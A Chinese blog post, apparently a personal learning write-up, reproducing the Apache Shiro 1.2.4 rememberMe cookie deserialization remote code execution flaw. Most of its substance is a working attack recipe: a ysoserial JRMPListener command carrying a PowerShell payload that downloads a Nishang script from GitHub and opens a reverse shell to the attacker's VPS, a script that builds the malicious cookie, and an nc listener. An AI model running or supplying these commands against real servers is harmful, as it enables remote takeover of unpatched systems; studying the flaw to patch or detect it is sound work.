美文网首页
Apache Shiro 反序列化

Apache Shiro 反序列化

作者: CSeroad | 来源:发表于2019-09-19 14:43 被阅读0次

前言

偶然见到大佬玩的这漏洞,学习一下

漏洞范围

Apache Shiro <= 1.2.4

漏洞复现

参考资料:
apache-shiro反序列化远程代码执行漏洞复现

环境搭建

大部分工具大佬已经给出,详见参考资料
靶机
windows10、Tomcat 7.0.70、jdk 1.8、shiro war包
攻击机
vps(ubuntu)、java、shiro_exp_payload.py脚本、ysoserial.jar
直接将大佬的war下载到本地部署到tomcat7.0.70,访问即可

image.png

在进行登录的时候,返回包里存在rememberMe=deleteMe。可判断使用shiro框架。

image.png

漏洞位置

请求包中cookie处存在rememberMe参数,修改cookie可远程命令执行。

命令执行

在vps(144.34.xxx.xx)上开启三个终端
1.vps上执行java命令

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4  "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 144.34.xx.xx  -port 9999"

用来powershell反弹cmd。

2.python脚本生成cookie

python shiro_exp_payload.py  144.34.xx.xx:1099

3.vps监听反弹shell命令

nc -lvp 9999

将生成的cookie放入http的请求包中,即可反弹cmd


image.png image.png

相关文章

  • shiro 反序列化漏洞解决方案总结

    Apache Shiro Java 反序列化漏洞分析Apache Shiro 1.2.4反序列化漏洞分析Shiro...

  • shiro1.1_介绍

    原文翻译 Apache Shiro 介绍 什么是Apache Shiro? Apache Shiro是一个强大并且...

  • Apache Shiro简介

    数据层准备好后,可以开始接入Apache Shiro框架: Apache Shiro简介 Apache Shiro...

  • Apache Shiro 是什么 & Shiro 框架介绍

    Apache Shiro 是什么 & Shiro 框架介绍 官方介绍 Apache Shiro™ is a pow...

  • SpringBoot整合Shiro

    SpringBoot整合Shiro Apache Shiro Apache Shiro是一个功能强大、灵活的...

  • Shiro简介

    http://shiro.apache.org/introduction.html Shiro简介 Apache ...

  • Shiro1-基础知识

    什么是Shiro Apache Shiro 是 Java 的一个安全框架。目前,使用 Apache Shiro 的...

  • spring shiro配置

    Apache Shiro的官方文档 http://shiro.apache.org/web.htmlApache ...

  • Apache Shiro 反序列化

    前言 偶然见到大佬玩的这漏洞,学习一下 漏洞范围 Apache Shiro <= 1.2.4 漏洞复现 参考资料:...

  • Shiro简介

    1、什么是Shiro Apache Shiro是Java的一个安全框架。目前,使用Apache Shiro的人越来...

网友评论

      本文标题:Apache Shiro 反序列化

      本文链接:https://www.haomeiwen.com/subject/tvveyctx.html